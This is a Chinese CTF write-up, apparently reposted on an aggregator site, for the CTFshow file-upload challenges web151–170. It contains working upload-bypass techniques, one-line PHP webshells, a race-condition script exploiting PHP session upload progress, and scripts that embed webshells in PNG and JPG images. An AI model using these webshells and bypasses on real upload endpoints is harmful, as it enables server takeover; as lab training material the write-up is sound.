【Web】CTFSHOW 文件上传刷题记录(全)

这篇具有很好参考价值的文章主要介绍了【Web】CTFSHOW 文件上传刷题记录(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava!

目录

web151

web152

web153

web154-155

web156-159

web160

web161

web162-163

web164

web165

web166

web167

web168

web169-170


web151

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 如果直接上传php文件就会弹窗

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

直接禁js按钮就不能上传文件了

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 一种方法是改js代码(png=>php)

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

然后直接上传即可

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 另一种方法可以不改js,直接抓包,然后改数据包信息,png=>php即可成功上传

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 连蚁剑,下略

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web152

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

抓包,改content-type就行

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

下略

web153

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 实际上是 Unicode 编码下的中文字符串,对应的中文是 "文件类型不合规" 。"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 中的每个 "\u" 表示紧跟着的四位十六进制数表示一个字符的码点。例如,"\u6587" 表示中文字符 "文" 的码点 U+6587,"\u4ef6" 表示中文字符 "件" 的码点 U+4EF6,以此类推。

嫌查表麻烦可以直接在浏览器的console运行一下嘛

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

经过尝试发现是对文件后缀有过滤,用phtml就可绕过

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

但好家伙配置文件不把phtml当php解析是吧

润了,只能上传.user.ini

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

相当于给/upload这个目录下所有文件都包含一个指定文件

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 包含一个藏马的文件(包括图片文件)就相当于在页面里写了个马

连蚁剑,下略

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web154-155

正常上传.user.ini后再上传图片文件时会如上报错,说明有文件内容检测了,bp抓包简单二分法测一下就好。

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 发现过滤了php,直接短标签即可

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

成功连蚁剑,下略

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web156-159

二分法测出来过滤了'[',我测,这还咋写马(其实可以用{}来代替[])

但如果想不到的话也倒不必强求,直接配置文件配合日志包含就行

GIF89a
auto_prepend_file=/var/log/nginx/access.log

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

这种姿势我挺喜欢的,可以积累一下捏。

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web160

终于ban了,二分法测一下发现是log被禁了。

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

问题不大,可以尝试字符串拼接试试

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

会发现并不支持这样的写法,那我们还是回头对包含图片马做文章吧。

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

继续二分法测发现过滤了'[','{','()','`'和空格,这其实敏感的师傅很快就懂了,include嘛。

继续日志包含,php代码肯定支持拼接的,log拼接一下就可绕过过滤

<?=include"/var/lo"."g/nginx/access.l"."og"?>

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

然后UA命令执行就行

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web161

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

多一个文件头过滤罢了,加个GIF89a

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

下略

web162-163

先包含一个sess文件

GIF89a
auto_prepend_file=/tmp/sess_Z3r4y

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

session.upload_progress.enabled = On
 
session.upload_progress.prefix = "upload_progress_"
 
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
 
session.use_strict_mode = Off 
 
session.save_path = /tmp

session.upload_progress.cleanup = On

在相关选项开启的情况下, 我们如果在上传文件的过程中 POST 一个变量 PHP_SESSION_UPLOAD_PROGRESS, PHP 就会创建一个对应的 session 文件, 文件内包含 PHP_SESSION_UPLOAD_PROGRESS 的值

如果 session.use_strict_mode = Off 时, 我们可以通过在 Cookie 中设置 PHPSESSID=123 (默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123 (否则就是 sess_[32位随机字符串])

当 session.upload_progress.cleanup = On 时就需要条件竞争。

import requests
import threading
url = 'http://f36bdfea-6976-4d23-922a-734073d4665b.challenge.ctf.show/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        files = {'file': ('1.png', b'GIF89a', 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'Z3r4y'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

这题本质其实就是文件上传的利用了

可以看文件包含刷题记录的web82

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web164

.user.ini不让用了

随便上传一个png看一下,发现页面从回显文件路径变成查看图片了,点击看一下发现存在一个文件包含点。

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

可以尝试用png二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

生成图片,再提交,点击查看图片,传参rce 

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp 

web165

这次是只让上传jpg文件了

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

可以用jpg二次渲染绕过

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>
用法:php jpg二渲.php a.jpg

这个得看命,只能说找不到合适的图片

web166

这题只能上传zip文件

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

问题不大,上传一个zip文件,在文件内容末尾插入一段php代码

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

然后点击下载文件抓包rce即可

 【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web167

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

题目提示httpd懂的都懂,apache呗

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

然后这次是只能上传jpg文件

先写payload.txt内容,再把属性改为.jpg

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

直接上传payload.jpg

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

点击下载文件拿到文件路径

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

然后上传配置文件,因为是apachehttpd,所以要上传.htaccess

在此之前我们要先改一下前端代码

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

.htaccess内容(别问为什么有多余的那串,懂的都懂)

#define width 1;
#define height 1;
SetHandler application/x-httpd-php

bp抓包改一下content-type发包

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

访问图片路径(现在已经被当作php文件解析)

payload:

1=system('tac ../f*');

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp 

web168

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

基础免杀还行

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

这次只让上传png文件

正常上传一个图片马会回显一个null

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 下面这样可以过免杀

<?=`tac ../flagaa.php`;?>

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

访问/upload/yjh3.php拿到flag

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

web169-170

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

能有多高级?

还是走回老路子,直接配置文件配合日志包含(改前端,改content-type不解释)

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 但正常访问/upload/会报403,所以我们要自己再上传一个php文件

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

上传文件如下,高级免杀也拦不住(

 顺带UA写个马【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp

 直接访问/upload/suibian.php

【Web】CTFSHOW 文件上传刷题记录(全),ctfshow,web,ctf,文件上传,漏洞,网络安全,wp文章来源地址https://www.toymoban.com/news/detail-798961.html

到了这里,关于【Web】CTFSHOW 文件上传刷题记录(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow--web入门--文件上传

    目录 ctfshow--web入门--文件上传 web151(前端校验) web152(content-type) web153(.user.ini) web154(内容检测\\\'php\\\') web155(内容检测\\\'php\\\') web156(内容检测\\\'[\\\') web157(内容检测\\\'php\\\'\\\'[]\\\'\\\'{}\\\'\\\';\\\') web158(文件检测\\\'php\\\'\\\'{\\\'\\\'[\\\'\\\';\\\'\\\'log\\\') web159(日志包含) web160(日志空格检测) web161(日志文件头检测) web162web163(session包含) w

    2024年02月14日
    浏览(32)
  • CTFshow web(文件上传158-161)

                                                                                  web158 知识点: auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。 当 auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,

    2024年02月21日
    浏览(36)
  • ctfshow-web13 文件上传

    CTF 加解密合集 CTF Web合集 网络安全知识库 文中工具皆可关注 皓月当空w 公众号 发送 工具 获取 首先看到是一个上传页面,测试其他无果,遂进行目录遍历,发现upload.php.bak文件 可以看到这里的限制条件,大小,以及内容,这里可以使用.user.ini进行上传,具体参考:

    2024年02月11日
    浏览(37)
  • CTFShow web1-7——CTF秀WEB模块解题思路

    CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解 这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到

    2024年02月09日
    浏览(37)
  • ctfshow刷题记录-社工篇-1

    题目来源:ctfshow-网络谜踪(社工类) 题目描述: flag格式为 ctfshow{纬度(精确到小数点后四位, 不用进位),经度(精确到小数点后四位, 不用进位)} 例如 若找到的经纬度为( 11.45149,19.19810) 则flag为ctfshow{11.4514,19.1981} (附件地址:https://ctfshow.lanzoui.com/iRHlmtek0ra) 拿到题目就知道是一道

    2024年03月09日
    浏览(32)
  • ctfshow刷题记录-cry方向-1

    题目来源:ctfshow 菜狗杯 crypto方向 base47 题目描述: 神必字符: E9CV T+HT5#X36RF4@LAU703+F$E-0N$@68LMXCVDRJJD5@MP#7MUZDTE?WWLG1S#L@+ 66H@59KTWYK8TW0RV 神必字典: 0123456789ABCDEFGHJKLMNPQRSTUVWXYZ?!@#$%^*-+ 第一次做这种base换表的题目,在网上查了查相关wp,感觉自己对base家族还不太熟悉,于是自己先用

    2024年03月09日
    浏览(35)
  • pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

    考点:pear文件包含 pear是PHP的一个扩展 查看phpinfo,满足条件 PEAR扩展 全称:PHP Extension and Application Repository PEAR扩展默认安装位置是: /usr/local/lib/php/ argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元

    2024年02月15日
    浏览(36)
  • CTFshow web入门---web56

    题目: 题目分析: 查看本题,发现本题为命令执行类题目,但是有一个很致命的点,那么就是他过滤了所有的字母和数字,以及一系列的符号。因此本题最值得推敲的点就是如何实现 无字母数字的命令执行 通过拜读P神的一篇文章,其中《无字母数字webshell之提高篇》讲到了

    2023年04月22日
    浏览(38)
  • ctfshow web入门 web141-145

    1.web141 ^w+$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行 php中1-phpinfo()是可以执行的,加减乘除都可以实现 这里或,异或,取反等运算都可以 这里采用羽师傅的异或脚本生成payload payload: 2.web142 payload: 3.web143 过滤了取反,+,-等符号,还可

    2024年02月22日
    浏览(66)
  • ctfshow命令执行(web29-web52)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval() 直接传参 第一种方法 ?c=system(\\\'ls\\\'); ?c=system(\\\'tac f*\\\'); 第二

    2024年01月20日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包